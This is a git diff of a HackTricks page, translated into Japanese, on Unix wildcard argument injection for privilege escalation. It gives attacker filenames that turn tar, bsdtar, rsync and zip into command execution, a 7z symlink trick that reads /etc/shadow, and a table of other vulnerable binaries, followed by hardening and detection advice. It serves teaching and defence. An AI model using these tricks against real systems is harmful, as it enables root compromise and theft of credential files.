mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/wildcards-spare-tr
This commit is contained in:
parent
c1b5fed6c9
commit
e3bd88cc24
@ -1,60 +1,123 @@
|
||||
# Wildcards Spare Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## chown, chmod
|
||||
> ワイルドカード(別名 *glob*)**引数インジェクション**は、特権スクリプトが `tar`、`chown`、`rsync`、`zip`、`7z` などのUnixバイナリを、引用符なしのワイルドカード `*` と共に実行する際に発生します。
|
||||
> シェルはバイナリを実行する**前に**ワイルドカードを展開するため、作業ディレクトリにファイルを作成できる攻撃者は、`-` で始まるファイル名を作成することで、**データではなくオプション**として解釈されるようにし、任意のフラグやコマンドを効果的に密輸することができます。
|
||||
> このページでは、2023-2025年の最も有用なプリミティブ、最近の研究、現代の検出方法を集めています。
|
||||
|
||||
**どのファイルの所有者と権限を残りのファイルにコピーしたいかを指定できます**
|
||||
## chown / chmod
|
||||
|
||||
`--reference` フラグを悪用することで、**任意のファイルの所有者/グループまたはパーミッションビットをコピー**できます:
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
# attacker-controlled directory
|
||||
touch "--reference=/root/secret``file" # ← filename becomes an argument
|
||||
```
|
||||
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(結合攻撃)_\
|
||||
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) にあります。
|
||||
|
||||
## Tar
|
||||
|
||||
**任意のコマンドを実行する:**
|
||||
ルートが後で次のようなものを実行するとき:
|
||||
```bash
|
||||
chown -R alice:alice *.php
|
||||
chmod -R 644 *.php
|
||||
```
|
||||
`--reference=/root/secret``file` が注入され、*すべての* 一致するファイルが `/root/secret``file` の所有権/権限を継承します。
|
||||
|
||||
*PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (複合攻撃)。
|
||||
詳細については、古典的な DefenseCode の論文を参照してください。
|
||||
|
||||
---
|
||||
|
||||
## tar
|
||||
|
||||
### GNU tar (Linux, *BSD, busybox-full)
|
||||
|
||||
**チェックポイント** 機能を悪用して任意のコマンドを実行します:
|
||||
```bash
|
||||
# attacker-controlled directory
|
||||
echo 'echo pwned > /tmp/pwn' > shell.sh
|
||||
chmod +x shell.sh
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
この方法を利用して攻撃できます [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar攻撃)_\
|
||||
詳細は [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) を参照してください。
|
||||
一度rootが例えば`tar -czf /root/backup.tgz *`を実行すると、`shell.sh`がrootとして実行されます。
|
||||
|
||||
## Rsync
|
||||
### bsdtar / macOS 14+
|
||||
|
||||
**任意のコマンドを実行する:**
|
||||
最近のmacOSのデフォルトの`tar`(`libarchive`に基づく)は`--checkpoint`を実装していませんが、外部コンプレッサーを指定できる**--use-compress-program**フラグを使用することで、コード実行を達成することができます。
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
-e, --rsh=COMMAND specify the remote shell to use
|
||||
--rsync-path=PROGRAM specify the rsync to run on remote machine
|
||||
# macOS example
|
||||
touch "--use-compress-program=/bin/sh"
|
||||
```
|
||||
特権スクリプトが `tar -cf backup.tar *` を実行すると、`/bin/sh` が起動します。
|
||||
|
||||
---
|
||||
|
||||
## rsync
|
||||
|
||||
`rsync` は、`-e` または `--rsync-path` で始まるコマンドラインフラグを介してリモートシェルやリモートバイナリをオーバーライドすることを可能にします:
|
||||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
# attacker-controlled directory
|
||||
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
|
||||
```
|
||||
この攻撃は、[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(\_rsync \_attack)_を使用して悪用できます。\
|
||||
詳細は[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)を参照してください。
|
||||
もしrootが後で`rsync -az * backup:/srv/`でディレクトリをアーカイブすると、注入されたフラグがリモート側でシェルを起動します。
|
||||
|
||||
## 7z
|
||||
*PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync`モード)。
|
||||
|
||||
**7z**では、`--`を`*`の前に使用しても(`--`は次の入力がパラメータとして扱われないことを意味しますので、この場合はファイルパスのみです)、任意のエラーを引き起こしてファイルを読み取ることができます。したがって、次のようなコマンドがrootによって実行されている場合:
|
||||
---
|
||||
|
||||
## 7-Zip / 7z / 7za
|
||||
|
||||
特権スクリプトが*防御的に*ワイルドカードの前に`--`を付けて(オプション解析を止めるために)も、7-Zipフォーマットは**ファイルリストファイル**をサポートしており、ファイル名の前に`@`を付けることができます。それをシンボリックリンクと組み合わせることで、*任意のファイルを外部に抽出*できます:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
# directory writable by low-priv user
|
||||
cd /path/controlled
|
||||
ln -s /etc/shadow root.txt # file we want to read
|
||||
touch @root.txt # tells 7z to use root.txt as file list
|
||||
```
|
||||
このコマンドが実行されているフォルダーにファイルを作成できるので、`@root.txt`というファイルと、読みたいファイルへの**シンボリックリンク**である`root.txt`というファイルを作成できます:
|
||||
もしrootが次のようなコマンドを実行すると:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
7za a /backup/`date +%F`.7z -t7z -snl -- *
|
||||
```
|
||||
その後、**7z** が実行されると、`root.txt` を圧縮すべきファイルのリストを含むファイルとして扱います(それが `@root.txt` の存在が示すことです)そして、7z が `root.txt` を読み込むと、`/file/you/want/to/read` を読み込み、**このファイルの内容がファイルのリストでないため、エラーをスローします** 内容を表示します。
|
||||
7-Zipは`root.txt`(→ `/etc/shadow`)をファイルリストとして読み取ろうとし、**stderrに内容を出力します**。
|
||||
|
||||
_詳細は HackTheBox の CTF ボックスの Write-ups にあります。_
|
||||
---
|
||||
|
||||
## Zip
|
||||
## zip
|
||||
|
||||
**任意のコマンドを実行する:**
|
||||
`zip`は、アーカイブがテストされるときにシステムシェルに*そのまま*渡されるフラグ`--unzip-command`をサポートしています:
|
||||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
zip result.zip files -T --unzip-command "sh -c id"
|
||||
```
|
||||
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
|
||||
|
||||
---
|
||||
|
||||
## 追加のバイナリ:ワイルドカードインジェクションに脆弱なもの (2023-2025 クイックリスト)
|
||||
|
||||
以下のコマンドは、現代のCTFや実際の環境で悪用されています。ペイロードは常に、後でワイルドカードで処理される書き込み可能なディレクトリ内の*ファイル名*として作成されます:
|
||||
|
||||
| バイナリ | 悪用するフラグ | 効果 |
|
||||
| --- | --- | --- |
|
||||
| `bsdtar` | `--newer-mtime=@<epoch>` → 任意の `@file` | ファイル内容の読み取り |
|
||||
| `flock` | `-c <cmd>` | コマンドの実行 |
|
||||
| `git` | `-c core.sshCommand=<cmd>` | SSH経由でのgitによるコマンド実行 |
|
||||
| `scp` | `-S <cmd>` | sshの代わりに任意のプログラムを起動 |
|
||||
|
||||
これらのプリミティブは*tar/rsync/zip*のクラシックよりも一般的ではありませんが、ハンティングの際には確認する価値があります。
|
||||
|
||||
---
|
||||
|
||||
## 検出とハードニング
|
||||
|
||||
1. **重要なスクリプトでシェルグロビングを無効にする**: `set -f` (`set -o noglob`) はワイルドカードの展開を防ぎます。
|
||||
2. **引数を引用またはエスケープする**: `tar -czf "$dst" -- *` は*安全ではありません* — `find . -type f -print0 | xargs -0 tar -czf "$dst"`を好むべきです。
|
||||
3. **明示的なパス**: `*`の代わりに`/var/www/html/*.log`を使用して、攻撃者が`-`で始まる兄弟ファイルを作成できないようにします。
|
||||
4. **最小特権**: 可能な限り、バックアップ/メンテナンスジョブをrootではなく特権のないサービスアカウントとして実行します。
|
||||
5. **監視**: Elasticの事前構築されたルール*Potential Shell via Wildcard Injection*は、`tar --checkpoint=*`、`rsync -e*`、または`shell child process`に直後に続く`zip --unzip-command`を探します。EQLクエリは他のEDRに適応できます。
|
||||
|
||||
---
|
||||
|
||||
## 参考文献
|
||||
|
||||
* Elastic Security – Potential Shell via Wildcard Injection Detected rule (最終更新 2025)
|
||||
* Rutger Flohil – “macOS — Tar wildcard injection” (2024年12月18日)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user